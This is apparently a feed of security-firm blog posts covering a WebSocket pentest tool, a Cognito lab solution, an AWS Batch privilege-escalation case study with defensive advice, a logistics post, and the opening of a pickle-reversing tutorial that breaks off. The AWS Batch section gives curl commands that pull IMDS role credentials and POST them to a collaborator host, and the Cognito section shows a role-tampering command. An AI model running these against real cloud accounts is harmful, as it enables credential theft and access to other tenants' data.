<p>The plugin system is designed to be as flexible as possible. You can define hooks that are executed at various stages of the WebSocket lifecycle. For instance, you can use <code class="language-plaintext highlighter-rouge">on_message_sent</code> to modify messages before they are sent to the server, or <code class="language-plaintext highlighter-rouge">on_message_received</code> to parse and extract meaningful data from the server’s responses. The full list of hooks is as follows:</p>
<p>
<center><img src="../../../public/images/wsrepl-hooks-mermaid.png" alt="Order of wsrepl hook execution" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 100%;" /></center>
</p>
<h2 id="customizing-the-repl-ui">Customizing the REPL UI</h2>
<p>The true triumph of <code class="language-plaintext highlighter-rouge">wsrepl</code> lies in its capacity to automate even the most complicated protocols. It is easy to add custom serialization routines, allowing you to focus on the stuff that matters.</p>
<p>Say you’re dealing with a protocol that uses JSON for data serialization, and you’re only interested in a single field within that data structure. <code class="language-plaintext highlighter-rouge">wsrepl</code> allows you to hide all the boilerplate, yet preserve the option to retrieve the raw data when necessary.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">wsrepl</span> <span class="kn">import</span> <span class="n">Plugin</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">from</span> <span class="nn">wsrepl.WSMessage</span> <span class="kn">import</span> <span class="n">WSMessage</span>
<span class="k">class</span> <span class="nc">Demo</span><span class="p">(</span><span class="n">Plugin</span><span class="p">):</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">on_message_sent</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">message</span><span class="p">:</span> <span class="n">WSMessage</span><span class="p">)</span> <span class="o">-></span> <span class="bp">None</span><span class="p">:</span>
<span class="c1"># Grab the original message entered by the user
</span> <span class="n">original</span> <span class="o">=</span> <span class="n">message</span><span class="p">.</span><span class="n">msg</span>
<span class="c1"># Prepare a more complex message structure that our server requires.
</span> <span class="n">message</span><span class="p">.</span><span class="n">msg</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">({</span>
<span class="s">"type"</span><span class="p">:</span> <span class="s">"message"</span><span class="p">,</span>
<span class="s">"data"</span><span class="p">:</span> <span class="p">{</span>
<span class="s">"text"</span><span class="p">:</span> <span class="n">original</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="c1"># Short and long versions of the message are used for display purposes in REPL UI.
</span> <span class="c1"># By default they are the same as 'message.msg', but here we modify them for better UX.
</span> <span class="n">message</span><span class="p">.</span><span class="n">short</span> <span class="o">=</span> <span class="n">original</span>
<span class="n">message</span><span class="p">.</span><span class="nb">long</span> <span class="o">=</span> <span class="n">message</span><span class="p">.</span><span class="n">msg</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">on_message_received</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">message</span><span class="p">:</span> <span class="n">WSMessage</span><span class="p">)</span> <span class="o">-></span> <span class="bp">None</span><span class="p">:</span>
<span class="c1"># Get the original message received from the server
</span> <span class="n">original</span> <span class="o">=</span> <span class="n">message</span><span class="p">.</span><span class="n">msg</span>
<span class="k">try</span><span class="p">:</span>
<span class="c1"># Try to parse the received message and extract meaningful data.
</span> <span class="c1"># The exact structure here will depend on your websocket server's responses.
</span> <span class="n">message</span><span class="p">.</span><span class="n">short</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">original</span><span class="p">)[</span><span class="s">"data"</span><span class="p">][</span><span class="s">"text"</span><span class="p">]</span>
<span class="k">except</span><span class="p">:</span>
<span class="c1"># In case of a parsing error, let's inform the user about it in the history view.
</span> <span class="n">message</span><span class="p">.</span><span class="n">short</span> <span class="o">=</span> <span class="s">"Error: could not parse message"</span>
<span class="c1"># Show the original message when the user focuses on it in the UI.
</span> <span class="n">message</span><span class="p">.</span><span class="nb">long</span> <span class="o">=</span> <span class="n">original</span>
</code></pre></div></div>
<p>In conclusion, <code class="language-plaintext highlighter-rouge">wsrepl</code> is designed to make your WebSocket pentesting life easier. It’s the perfect blend of an interactive REPL experience with the ease of automation. It may not be the magical solution to every challenge you’ll face in pentesting WebSockets, but it is a powerful tool in your arsenal. <a href="https://github.com/doyensec/wsrepl">Give it a try</a> and let us know your experiences!</p>
Messing Around With AWS Batch For Privilege Escalations2023-06-13T00:00:00+02:00https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations<p>
<center><img src="../../../public/images/cloudsectidbit-logo200.jpg" alt="CloudsecTidbit" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<h3 id="from-the-previous-episode-have-you-solved-the-cloudsectidbit-ep-2-iac-lab">From The Previous Episode… Have you solved the CloudSecTidbit Ep. 2 IaC lab?</h3>
<h4 id="solution">Solution</h4>
<p>The challenge for the <a href="https://blog.doyensec.com/2023/01/24/tampering-unrestricted-user-attributes-aws-cognito.html">AWS Cognito</a> CloudSecTidbit is basically escalating the privileges to admin and reading the internal users list.</p>
<p>The application uses AWS Cognito to issue a session token saved as a cookie with the name <code class="language-plaintext highlighter-rouge">aws-cognito-app-access-token</code>.</p>
<p>The JWT is a valid AWS Cognito user token, usable to interact with the service.
It is possible to retrieve the current user attributes with the command:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws cognito-idp get-user <span class="nt">--region</span> us-east-1 <span class="nt">--access-token</span> <USER_ACCESS_TOKEN>
<span class="o">{</span>
<span class="s2">"Username"</span>: <span class="s2">"francesco"</span>,
<span class="s2">"UserAttributes"</span>: <span class="o">[</span>
<span class="o">{</span>
<span class="s2">"Name"</span>: <span class="s2">"sub"</span>,
<span class="s2">"Value"</span>: <span class="s2">"5139e6e7-7a37-4e6e-9304-8c32973e4ac0"</span>
<span class="o">}</span>,
<span class="o">{</span>
<span class="s2">"Name"</span>: <span class="s2">"email_verified"</span>,
<span class="s2">"Value"</span>: <span class="s2">"true"</span>
<span class="o">}</span>,
<span class="o">{</span>
<span class="s2">"Name"</span>: <span class="s2">"name"</span>,
<span class="s2">"Value"</span>: <span class="s2">"francesco"</span>
<span class="o">}</span>,
<span class="o">{</span>
<span class="s2">"Name"</span>: <span class="s2">"custom:Role"</span>,
<span class="s2">"Value"</span>: <span class="s2">"user"</span>
<span class="o">}</span>,
<span class="o">{</span>
<span class="s2">"Name"</span>: <span class="s2">"email"</span>,
<span class="s2">"Value"</span>: <span class="s2">"dummy@doyensec.com"</span>
<span class="o">}</span>
<span class="o">]</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Then, because of the default READ/WRITE permissions on the user attributes, the attacker is able to tamper with the <em>custom:Role</em> attribute and set it to <em>admin</em>:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws <span class="nt">--region</span> us-east-1 cognito-idp update-user-attributes <span class="nt">--user-attributes</span> <span class="s2">"Name=custom:Role,Value=admin"</span> <span class="nt">--access-token</span> <USER_ACCESS_TOKEN>
</code></pre></div></div>
<p>After that, by refreshing the authenticated tab, the user is now recognized as an admin.</p>
<p>
<center><img style="width: 60%;" src="/public/images/cognito-lab-solution.png" alt="" />
<em></em></center>
</p>
<p>That happens because the vulnerable platform trusts the <em>custom:Role</em> attribute to evaluate the authorization level of the user.</p>
<h2 id="tidbit-no-3---messing-around-with-aws-batch-for-privilege-escalations">Tidbit No. 3 - Messing around with AWS Batch For Privilege Escalations</h2>
<h3 id="q-what-is-aws-batch">Q: What is AWS Batch?</h3>
<ul>
<li>
<p>A set of batch management capabilities that enable developers, scientists, and engineers to easily and efficiently run hundreds of thousands of batch computing jobs on AWS.</p>
</li>
<li>
<p>AWS Batch dynamically provisions the optimal quantity and type of compute resources (e.g. CPU or memory optimized compute resources) based on the volume and specific resource requirements of the batch jobs submitted.</p>
</li>
<li>
<p>With AWS Batch, there is no need to install and manage batch computing software or server clusters, allowing you to instead focus on analyzing results and solving problems</p>
</li>
<li>
<p>AWS Batch plans, schedules, and executes your batch computing workloads using Amazon EC2 (available with Spot Instances) and AWS compute resources with AWS Fargate or Fargate Spot.</p>
</li>
</ul>
<p><strong>Summarizing the previous points, it is a self-managed and self-scaling scheduler for tasks.</strong></p>
<p>Its main components are:</p>
<ul>
<li>
<p><code class="language-plaintext highlighter-rouge">Jobs</code>. The unit of work, they can be shell scripts, executables, or a container image submitted to AWS Batch.</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">Job definitions</code>. They are blueprints for the tasks. It is possible to grant them IAM roles to access AWS resources, set their memory and CPU requirements and even control container properties like environment variables or mount points for persistent storage</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">Job Queues</code>. Submitted jobs are stacked in queues until they are scheduled onto a compute environment. Job queues can be associated with multiple compute environments and configured with different priority values.</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">Compute environments</code>. Sets of managed or unmanaged compute resources that are usable to run jobs. With managed compute environments, you can choose the desired compute type (Fargate, EC2 and EKS) and deeply configure its resources. AWS Batch launches, manages, and terminates compute types as needed. You can also manage your own compute environments, but you’re responsible for setting up and scaling the instances in an Amazon ECS cluster that AWS Batch creates for you.</p>
</li>
</ul>
<p>The scheme below (taken from the AWS documentation) shows the workflow for the service.</p>
<p>
<center><img style="width: 90%;" src="/public/images/aws-batch-how-it-works.png" alt="" />
<em></em></center>
</p>
<p>After a first look at AWS Batch basics, we can introduce the core differences in the managed compute environment types.</p>
<h2 id="orchestration-types-in-managed-compute-environments">Orchestration Types In Managed Compute Environments</h2>
<h4 id="fargate">Fargate</h4>
<p>AWS Batch jobs can run on AWS Fargate resources. AWS Fargate uses Amazon ECS to run containers and orchestrates their lifecycle.</p>
<p>This configuration fits cases where it is not needed to have control over the host machine running the container task. All the logic is embedded in the task and there is no need to add context from the host machine.</p>
<h4 id="ec2">EC2</h4>
<p>AWS Batch jobs can run on Amazon EC2 instances. It allows particular instance configurations like:</p>
<ul>
<li>Settings for vCPUs, memory and/or GPU</li>
<li>Custom Amazon Machine Image (AMI) with launch templates</li>
<li>Custom environment parameters</li>
</ul>
<p>This configuration fits scenarios where it is necessary to customize and control the containers’ host environment. As example, you may need to mount an Elastic File System (EFS) and share some folders with the running jobs.</p>
<h4 id="eks">EKS</h4>
<p>AWS Batch doesn’t create, administer, or perform lifecycle operations of the EKS clusters. AWS Batch orchestration scales up and down nodes managed by AWS Batch and runs pods on those nodes.</p>
<p>The logic conditions are similar to the ECS case.</p>
<h2 id="running-tasks-with-two-metadata-services--two-roles---the-unwanted-role-exposition-case">Running Tasks With Two Metadata Services & Two Roles - The Unwanted Role Exposition Case</h2>
<p>While testing a multi-tenant platform, we managed to leverage AWS Batch to compromise the cloud environment and perform privilege escalation.</p>
<p>The single tenants were using AWS Batch to execute some computational work given a certain input to be processed (tenant data).</p>
<p>The task jobs of all tenants were initialized and executed using the EC2 orchestration type, hence, all batch containers were running the same task-runner EC2 instances.</p>
<p>The scheme below describes the observed scenario at a high-level.</p>
<p>
<center><img style="width: 90%;" src="/public/images/batch-case-diagram.jpg" alt="" />
<em></em></center>
</p>
<p>The tenant data (input) was mounted on the EC2 spot instance prior to the execution with <em>Elastic File System (EFS)</em>. As can be seen in the design scheme, the specific tenant input data was shared to batch job containers via precise shared folders.</p>
<p>This might seem as a secure and well-isolated environment, but <em>it wasn’t.</em></p>
<p>In order to illustrate the final exploitation, a few IAM concepts about the vulnerable context must be explained:</p>
<ul>
<li>
<p>Within the described design, the compute environment EC2 spot instances needed a specific role with highly privileged permissions to manage multiple services, including EFS to mount customers’ data</p>
</li>
<li>
<p>The task containers (batch jobs) had an execution role with the <code class="language-plaintext highlighter-rouge">batch:RegisterJobDefinition</code> and <code class="language-plaintext highlighter-rouge">batch:SubmitJob</code> permissions.</p>
</li>
</ul>
<h3 id="the-testing-phase">The Testing Phase</h3>
<p>So, during testing we have obviously tried to execute code on the jobs to get access to some internal AWS credentials. Since the Instance Metadata Service (IMDS v2) was network restricted in the running containers, it was not possible to have an easy win by reaching <code class="language-plaintext highlighter-rouge">169.254.169.254</code> (IMDS IP).</p>
<p>Nevertheless, containers running in ECS and EKS have the Container Metadata Service (CMDS) running and reachable at <code class="language-plaintext highlighter-rouge">169.254.170.2</code> (did you know?). It is literally the doppelganger of the IMDS service, but for containers and pods in AWS.</p>
<p>Thanks to it, we were able to gather information about the running task. By looking at the AWS documentation, you can learn more about the many environment variables exposed to the running container. Among them, there is <code class="language-plaintext highlighter-rouge">AWS_CONTAINER_CREDENTIALS_RELATIVE_URI</code>.</p>
<p>In fact, the CMDS protects users against SSRF interactions by setting a dynamic credential endpoint saved as an environmental variable. By doing so, basic SSRFs cannot find out the pseudo-random part in it and retrieve credentials.</p>
<p>The screenshot below shows an interaction with the CMDS to get the credentials from a running container (our execution context).</p>
<p>
<center><img style="width: 90%;" src="/public/images/batch-ecs-job.jpg" alt="" />
<em></em></center>
</p>
<p>At this point, we had the credentials for the ecs-role owned by the running jobs.</p>
<p>Among the ECS-related execution permissions, it had <code class="language-plaintext highlighter-rouge">RegisterJobDefinition</code>, <code class="language-plaintext highlighter-rouge">SubmitJob</code> and <code class="language-plaintext highlighter-rouge">DescribeJobQueues</code> for the AWS Batch service.</p>
<p>Since the basic threat model assumed that users had command execution on the running containers, a certain level of control over the job definitions was not an issue.</p>
<p>Hence, having the <code class="language-plaintext highlighter-rouge">RegisterJobDefinition</code> and <code class="language-plaintext highlighter-rouge">SubmitJob</code> permissions exposed in the user-controlled context was not considered a vulnerability in the first place.</p>
<p>So, the next question was pretty obvious:</p>
<p>
<center><img style="width: 35%;" src="/public/images/batch-meme.png" alt="" />
<em></em></center>
</p>
<h3 id="the-turning-point">The Turning Point</h3>
<p>After many hours of dorking and code review, we managed to discover two additional details:</p>
<blockquote>
<ul>
<li><strong>In the AWS Batch with EC2 compute environment, the jobs’ containers run with host network configuration. This means that Batch job containers use the host EC2 Spot instance’s networking directly</strong></li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><strong>The platform was restricting the IMDS connectivity on job containers when the worker was starting the tasks</strong></li>
</ul>
</blockquote>
<p>Due to these conditions, a batch job could call the IMDSv2 service on behalf of the host EC2 Spot instance if it started without the restrictions applied by the worker, potentially leading to a privilege escalation:</p>
<ol>
<li>
<p>An attacker with the leaked batch job credentials could use <code class="language-plaintext highlighter-rouge">RegisterJobDefinition</code> and <code class="language-plaintext highlighter-rouge">SubmitJob</code> to define and execute a malicious AWS Batch job.</p>
</li>
<li>
<p>The malicious job is able to dialogue with the IMDS service on behalf of the host EC2 Spot instance since the network restrictions to the IMDS were not applied.</p>
</li>
<li>
<p>In this way, it was possible to obtain credentials for the IAM Role owned by the EC2 Spot instances.</p>
</li>
</ol>
<p>
<center><img style="width: 35%;" src="/public/images/batch-priv-esc-meme.png" alt="" />
<em></em></center>
</p>
<p>The compute environment EC2 spot instances needed a specific role with highly privileged permissions to manage multiple services, including EFS to mount customers’ data etc.</p>
<h3 id="privesc-exploitation">PrivEsc Exploitation</h3>
<p>The exploitation phase required two job definitions to interact with the IMDSv2, one to get the instance IAM role name, and one to retrieve the IAM security credentials for the leaked role name.</p>
<p><strong>Job Definition 1 - Getting the host EC2 Spot instance role name</strong></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws batch register-job-definition <span class="nt">--job-definition-name</span> poc-get-rolename <span class="nt">--type</span> container <span class="nt">--container-properties</span> <span class="s1">'{ "image": "curlimages/curl",
"vcpus": 1, "memory": 20, "command": [ "sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ > /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m"]}'</span>
</code></pre></div></div>
<p>After defining the job definition, submit a new job using the newly create job definition:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws batch submit-job <span class="nt">--job-name</span> attacker-jb-getrolename <span class="nt">--job-queue</span> LowPriorityEc2 <span class="nt">--job-definition</span> poc-get-rolename <span class="nt">--scheduling-priority-override</span> 999 <span class="nt">--share-identifier</span> asd
</code></pre></div></div>
<p><strong>Note</strong>: the job queue name was retrievable with <code class="language-plaintext highlighter-rouge">aws batch describe-job-queues</code></p>
<p>The attacker collaborator server received something like:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /exfil HTTP/1.1
Host: fo78ichlaqnfn01sju2ck6ixwo2fqaez.oastify.com
User-Agent: curl/8.0.1-DEV
Accept: <span class="k">*</span>/<span class="k">*</span>
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
iam-instance-role-20230322003148155300000001
</code></pre></div></div>
<p><strong>Job Definition 2 - Getting the credentials for the host EC2 Spot instance role</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ aws batch register-job-definition --job-definition-name poc-get-aimcreds --type container --container-properties '{ "image": "curlimages/curl",
"vcpus": 1, "memory": 20, "command": [ "sh","-c","TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ROLE_NAME > /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m"]}'
</code></pre></div></div>
<p>Like for the previous definition, by submitting the job, the collaborator received the output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /exfil HTTP/1.1
Host: 4otxi1haafn4np1hjj21kvimwd24qyen.oastify.com
User-Agent: curl/8.0.1-DEV
Accept: */*
Content-Length: 1430
Content-Type: application/x-www-form-urlencoded
{"RoleArn":"arn:aws:iam::1235122316123:role/ecs-role","AccessKeyId":"<redacted>","SecretAccessKey":"<redacted>","Token":"<redacted>","Expiration":"2023-03-22T06:54:42Z"}
</code></pre></div></div>
<p>This time it contained the AWS credentials for the host EC2 Spot instance role.</p>
<p>Privilege escalation achieved! The obtained role allowed us to access other tenants’ data and do much more.</p>
<h2 id="default-host-network-mode-in-aws-batch-with-ec2-orchestration">Default Host Network Mode In AWS Batch With EC2 Orchestration</h2>
<p>In AWS Batch with EC2 compute environments, the containers run with bridged network mode.</p>
<p>With such configuration, the containers (batch jobs) have access to both the EC2 IMDS and the CMDS.</p>
<p>The issue lies in the fact that the container job is able to dialogue with the IMDSv2 service on behalf of the EC2 Spot instance because they share the same network interface.</p>
<p><strong>In conclusion, it is very important to know about such behavior and avoid the possibility of introducing privilege escalation patterns while designing cloud environments.</strong></p>
<h2 id="for-cloud-security-auditors">For cloud security auditors</h2>
<p>When the platform uses AWS Batch compute environments with EC2 orchestration, answer the following questions:</p>
<ul>
<li>Always keep in consideration the security of the AWS Batch jobs and their possible compromise. A threat actor could escalate vertically/horizontally and gain more access into the cloud infrastructure.
<ul>
<li>Which aspects of the job execution are controllable by the external user?</li>
<li>Is command execution inside the jobs intended by the platform?
<ul>
<li>If yes, investigate the permissions available through the CMDS</li>
<li>If no, attempt to achieve command execution within the jobs’ context</li>
</ul>
</li>
<li>Is the IMDS restricted from the job execution context?</li>
</ul>
</li>
<li>Which types of Compute Environments are used in the platform?
<ul>
<li>Are there any Compute Environments configured with EC2 orchestration?
<ul>
<li>If yes, which role is assigned to EC2 Spot Instances?</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><strong>Note</strong>: The dangerous behavior described in this blogpost also applies to configurations involving Elastic Container Service (ECS) tasks with EC2 launch type.</p>
<h2 id="for-developers">For developers</h2>
<p><strong>Developers should be aware of the fact that AWS Batch with EC2 compute environments will run containers with host network configuration. Consequently, the executed containers (batch jobs) have access to both the CMDS for the task role and the IMDS for the host EC2 Spot Instance role.</strong></p>
<p>In order to prevent privilege escalation patterns, Job runs must match the following configurations:</p>
<ul>
<li>
<p>Having the IMDS restricted at network level in running jobs. Read the documentation <a href="https://aws.amazon.com/premiumsupport/knowledge-center/ecs-container-ec2-metadata/" target="_blank">here</a></p>
</li>
<li>
<p>Restricting the batch job execution role and job role IAM permissions. In particular, avoid assigning <code class="language-plaintext highlighter-rouge">RegisterJobDefinition</code> and <code class="language-plaintext highlighter-rouge">SubmitJob</code> permissions in job-related or accessible policies to prevent uncontrolled execution by attackers landing on the job context</p>
</li>
</ul>
<p>If both configurations are not applicable in your design, consider changing the orchestration type.</p>
<p><strong>Note</strong>: Once again, the dangerous behavior described in this blogpost also applies to configurations involving Elastic Container Service (ECS) tasks with the EC2 launch type.</p>
<h2 id="hands-on-iac-lab">Hands-On IaC Lab</h2>
<p>As promised in the series’ introduction, we developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: <a href="https://github.com/doyensec/cloudsec-tidbits/" target="_blank">https://github.com/doyensec/cloudsec-tidbits/</a></p>
<p>Stay tuned for the next episode!</p>
<h2 id="resources">Resources</h2>
<ul>
<li><a href="https://docs.aws.amazon.com/batch/latest/userguide/what-is-batch.html" target="_blank">What is AWS Batch?</a></li>
<li><a href="https://medium.com/simply-cloudsec/security-nuances-of-the-aws-metadata-service-in-container-workloads-680be43b63e" target="_blank">Security Nuances of the AWS Metadata Service in Container Workloads, by David Levitsky</a></li>
</ul>
Logistics for a Remote Company2023-06-06T00:00:00+02:00https://blog.doyensec.com/2023/06/06/logistics<p>Logistics and shipping devices across the world can be a challenging task, especially when dealing with customs regulations. For the past few years, I have had the opportunity to learn about these complex processes and how to manage them efficiently. As a Practice Manager at Doyensec, I was responsible for building processes from scratch and ensuring that our logistics operations ran smoothly.</p>
<p>Since 2018, I have had to navigate the intricate world of logistics and shipping, dealing with everything from international regulations to customs clearance. Along the way, I have learned valuable lessons and picked up essential skills that have helped me manage complex logistics operations with ease.</p>
<center><img src="../../../public/images/logistics.png" alt="Logistics for a Remote Company" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></center>
<p>In this post, I will share my experiences and insights on managing shipping devices across the world, dealing with customs, and building efficient logistics processes. Whether you’re new to logistics or looking to improve your existing operations, my learnings and experiences will prove useful.</p>
<h3 id="employee-onboarding">Employee Onboarding</h3>
<p>At Doyensec, when we hire a new employee, our HR specialist takes care of all the necessary paperwork, while I focus on logistics. This includes creating a welcome package and shipping all the necessary devices to the employee’s location. While onboarding employees from the United States and European Union is relatively easy, dealing with customs regulations in other countries can be quite challenging.</p>
<p>For instance, shipping devices from/to countries such as the UK (post Brexit), Turkey, or Argentina can be quite complicated. We need to be aware of the customs regulations in these countries to ensure that our devices are not bounced back or charged with exorbitant custom fees.</p>
<p>Navigating customs regulations in different countries can be a daunting task. Still, we’ve learned that conducting thorough research beforehand and ensuring that our devices comply with the necessary regulations can help avoid any unnecessary delays or fees. At Doyensec, we believe that providing our employees with the necessary tools and equipment to perform their job is essential, and we strive to make this process as seamless as possible, regardless of where the employee is located.</p>
<h3 id="testing-hardware-management">Testing Hardware Management</h3>
<p>At Doyensec, dealing with testing hardware is a crucial aspect of our operations. We use a variety of testing equipment for our work. This means that we often have to navigate customs regulations, including the payment of customs fees, to ensure that our laptops, Yubikeys and mobile devices arrive on time.</p>
<p>To avoid delays in conducting security audits, we often choose to pay additional fees, including VAT and customs charges, to ensure that we receive hardware promptly. We understand that time is of the essence, and we prioritize meeting our clients’ needs, even if it means spending more money to ensure items required for testing are not held up at customs.</p>
<p>In addition to paying customs fees, we also make sure to keep all necessary documentation for each piece of hardware that we manage. This documentation helps us to speed up further processes and ensures that we can quickly identify and locate each and every piece of hardware when needed.</p>
<p>The hardware we most frequently deal with are laptops, though we also occasionally receive YubiKeys as well. Fortunately, YubiKeys generally do not cause any problems at customs (low market value), and we can usually receive them without any significant issues.</p>
<p>Over time, we’ve learned that different shipping companies have different approaches to customs regulations. To ensure that we can deliver quality service to our clients, we prefer to use companies that we know will treat us fairly and deliver hardware on time. We have almost always had a positive experience with DHL as our preferred shipping provider. DHL’s automated custom processes and documentation have been particularly helpful in ensuring smooth and efficient shipping of Doyensec’s hardware and documents across the world. DHL’s reliability and efficiency have been critical in allowing Doyensec to focus on its core business, which is finding bugs for our fantastic clients.</p>
<p>We have a preference for avoiding local post office services when it comes to shipping our hardware or documents. While local post office services may be slightly cheaper, they often come with more problems. Packages may get stuck somewhere during the delivery process, and it can be difficult to follow up with customer service to resolve the issue. This can lead to delayed deliveries, frustrated customers, and ultimately, a negative impact on the company’s reputation. Therefore, Doyensec opts for more reliable shipping options, even if they come with a slightly higher price tag.</p>
<h3 id="2022-holiday-gifts-from-japan">2022 Holiday Gifts from Japan</h3>
<p>At Doyensec, we believe in showing appreciation for our employees and their hard work. That’s why we decided to import some gifts from Japan to distribute among our team members. However, what we did not anticipate was the range of custom fees that we would encounter while shipping these gifts to different countries.</p>
<p>We shipped these gifts to 7 different countries, all through the same shipping company. However, we found that custom officers had different approaches even within the same country. This resulted in a range of custom fees, ranging from 0 to 45 euros, for each package.</p>
<p>The interesting part was that every package had the same invoice from the Japanese manufacturer attached, but the fees still differed significantly. It was challenging to understand why this was the case, and we still don’t have a clear answer.</p>
<p>Overall, our experience with importing gifts from Japan highlighted the importance of being prepared for unexpected customs fees and the unpredictability of customs regulations.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Managing devices and shipping packages to team members at a globally distributed company, even with a small team, can be quite challenging. Ensuring that packages are delivered promptly and to the correct location can be very difficult, especially with tight project deadlines.</p>
<p>Although it would be easier to manage devices if everyone worked from the same office, at Doyensec, we value remote work and the flexibility that it provides. That’s why we have invested in developing processes and protocols to ensure that our devices are managed efficiently and securely, despite the remote working environment.</p>
<p>While some may argue that these challenges are reason enough to abandon remote work and return to the office, we believe that the benefits of remote work far outweigh any challenges we may face. At Doyensec, remote work allows us to hire talented individuals from all the EU and US/Canada, offering a diverse and inclusive work environment. Remote work also allows for greater flexibility and work-life balance, which can result in happier and more productive employees.</p>
<p>In conclusion, while managing devices in a remote work environment can be challenging, we believe that the benefits of remote work make it worthwhile. At Doyensec, we have developed strategies to manage devices efficiently, and we continue to support remote work and its many benefits.</p>
Reversing Pickles with r2pickledec2023-06-01T00:00:00+02:00https://blog.doyensec.com/2023/06/01/r2pickledec<p><a href="https://github.com/doyensec/r2pickledec">R2pickledec</a> is the first pickle decompiler to support all instructions up to
protocol 5 (the current). In this post we will go over what Python pickles are,
how they work and how to reverse them with Radare2 and r2pickledec. An upcoming
blog post will go even deeper into pickles and share some advanced obfuscation
techniques.</p>
<h2 id="what-are-pickles">What are pickles?</h2>
<p>Pickles are the built-in serialization algorithm in Python. They can turn any
Python object into a byte stream so it may be stored on disk or sent over a
network. Pickles are notoriously dangerous. You should never unpickle data
from an untrusted source. Doing so will likely result in remote code execution.
Please refer to the <a href="https://docs.python.org/3/library/pickle.html">documentation</a> for more
details.</p>
<h2 id="pickle-basics">Pickle Basics</h2>
<p>Pickles are implemented as a very simple assembly language. There are only 68
instructions and they mostly operate on a stack. The instruction names are
pretty easy to understand. For example, the instruction <code class="language-plaintext highlighter-rouge">empty_dict</code> will push
an empty dictionary onto the stack.</p>
<p>The stack only allows access to the top item, or items in some cases. If you
want to grab something else, you must use the memo. The memo is implemented as
a dictionary with positive integer indexes. You will often see <code class="language-plaintext highlighter-rouge">memoize</code>
instructions. Naively, the <code class="language-plaintext highlighter-rouge">memoize</code> instruction will copy the item at the top
of the stack into the next index in the memo. Then, if that item is needed
later, a <code class="language-plaintext highlighter-rouge">binget n</code> can be used to get the object at index <code class="language-plaintext highlighter-rouge">n</code>.</p>
<p>To learn more about pickles, I recommend playing with some pickles. Enable
descriptions in Radare2 with <code class="language-plaintext highlighter-rouge">e asm.describe = true</code> to get short descriptions of
each instruction. Decompile simple pickles that you build yourself, and see if you
can understand the instructions.</p>
<h2 id="installing-radare2-and-r2pickledec">Installing Radare2 and r2pickledec</h2>
<p>For reversing pickles, our tool of choice is <a href="https://rada.re/n/">Radare2</a> (r2
for short). Package managers tend to ship really old r2 versions. In this case
it’s probably fine, I added the pickle arch to r2 a long time ago. But if you
run into any bugs I suggest installing from
<a href="https://github.com/radareorg/radare2#installation">source</a>.</p>
<p>In this blog post, we will primarily be using our
<a href="https://github.com/doyensec/r2pickledec">R2pickledec</a> decompiler plugin. I
purposely wrote this plugin to only rely on r2 libraries. So if r2 works on
your system, r2pickledec should work too. You should be able to instal with r2pm.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2pm <span class="nt">-U</span> <span class="c"># update package db</span>
<span class="nv">$ </span>r2pm <span class="nt">-ci</span> pickledec <span class="c"># clean install</span>
</code></pre></div></div>
<p>You can verify everything worked with the following command. You should see the
r2pickledec help menu.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ r2 -a pickle -qqc 'pdP?' -
Usage: pdP[j] Decompile python pickle
| pdP Decompile python pickle until STOP, eof or bad opcode
| pdPj JSON output
| pdPf Decompile and set pick.* flags from decompiled var names
</code></pre></div></div>
<h2 id="reversing-a-real-pickle-with-radare2-and-r2pickledec">Reversing a Real pickle with Radare2 and r2pickledec</h2>
<p>Let’s reverse a real pickle. One never reverses without some context, so let’s
imagine you just broke into a webserver. The webserver is intended to allow
employees of the company to perform privileged actions on client accounts.
While poking around, you find a pickle file that is used by the server to
restore state. What interesting things might we find in the pickle?</p>
<p>The pickle appears below base64 encoded. Feel free to grab it and play along at
home.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ base64 -i /tmp/blog2.pickle -b 64
